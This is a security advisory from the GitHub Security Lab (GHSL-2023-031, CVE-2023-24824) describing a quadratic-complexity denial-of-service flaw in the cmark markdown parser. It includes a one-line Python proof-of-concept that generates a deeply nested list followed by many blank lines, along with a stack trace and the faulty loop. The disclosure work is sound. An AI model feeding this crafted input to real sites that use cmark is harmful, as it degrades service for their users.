skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
April 20, 2023

GHSL-2023-031: Quadratic complexity algorithm in cmark - CVE-2023-24824

Kevin Backhouse

Coordinated Disclosure Timeline


A crafted markdown document can trigger a quadratic complexity algorithm in cmark.



Tested Version

Latest master: 7195c67


Issue 1: Quadratic behavior in check_open_blocks (GHSL-2023-031)

A markdown document containing a very deeply nested list followed by a large number of empty lines can trigger quadratic behavior.

Proof of concept:

python3 -c 'n = 20000; print(" -" * n + "x" + "\n" * n)' | cmark

Increasing the number 20000 in the above command causes the running time to increase quadratically.

This is a sample stack trace from the quadratic algorithm:

  1. S_advance_offset (parser=0x5555555a92c0, input=0x7fffffffcd40, count=0, columns=false) at src/blocks.c:745
  2. 0x0000555555566278 in parse_node_item_prefix (parser=0x5555555a92c0, input=0x7fffffffcd40, container=0x5555558297a0) at src/blocks.c:807
  3. 0x000055555556658e in check_open_blocks (parser=0x5555555a92c0, input=0x7fffffffcd40, all_matched=0x7fffffffcd2f) at src/blocks.c:908
  4. 0x00005555555674f0 in S_process_line (parser=0x5555555a92c0, buffer=0x7fffffffd188 '\n' <repeats 200 times>..., bytes=0) at src/blocks.c:1274
  5. 0x0000555555565c29 in S_parser_feed (parser=0x5555555a92c0, buffer=0x7fffffffd188 '\n' <repeats 200 times>..., len=4096, eof=false) at src/blocks.c:616
  6. 0x0000555555565a5d in cmark_parser_feed (parser=0x5555555a92c0, buffer=0x7fffffffce50 '\n' <repeats 200 times>..., len=4096) at src/blocks.c:568
  7. 0x0000555555562eb8 in main (argc=2, argv=0x7fffffffdf78) at src/main.c:177

The quadratic behavior is caused by the loop in check_open_blocks:

while (S_last_child_is_open(container)) {
  container = container->last_child;
  cont_type = S_type(container);

cmark parses one line of text at a time. So this loop is run once for every newline character after the deeply nested list. If the line wasn’t empty the loop would break early due to code like this (src/blocks.c:908-909):

if (!parse_node_item_prefix(parser, input, container))
  goto done;

But because the line is empty, it iterates through the entire list. If the length of the list is the approximately same as the number of empty lines, this causes quadratic behavior.


This issue could be used in a denial-of-service attack on websites that use cmark to render markdown documents.



This issue was discovered and reported by GHSL team member @kevinbackhouse (Kevin Backhouse).


You can contact the GHSL team at, please include a reference to GHSL-2023-031 in any communication regarding this issue.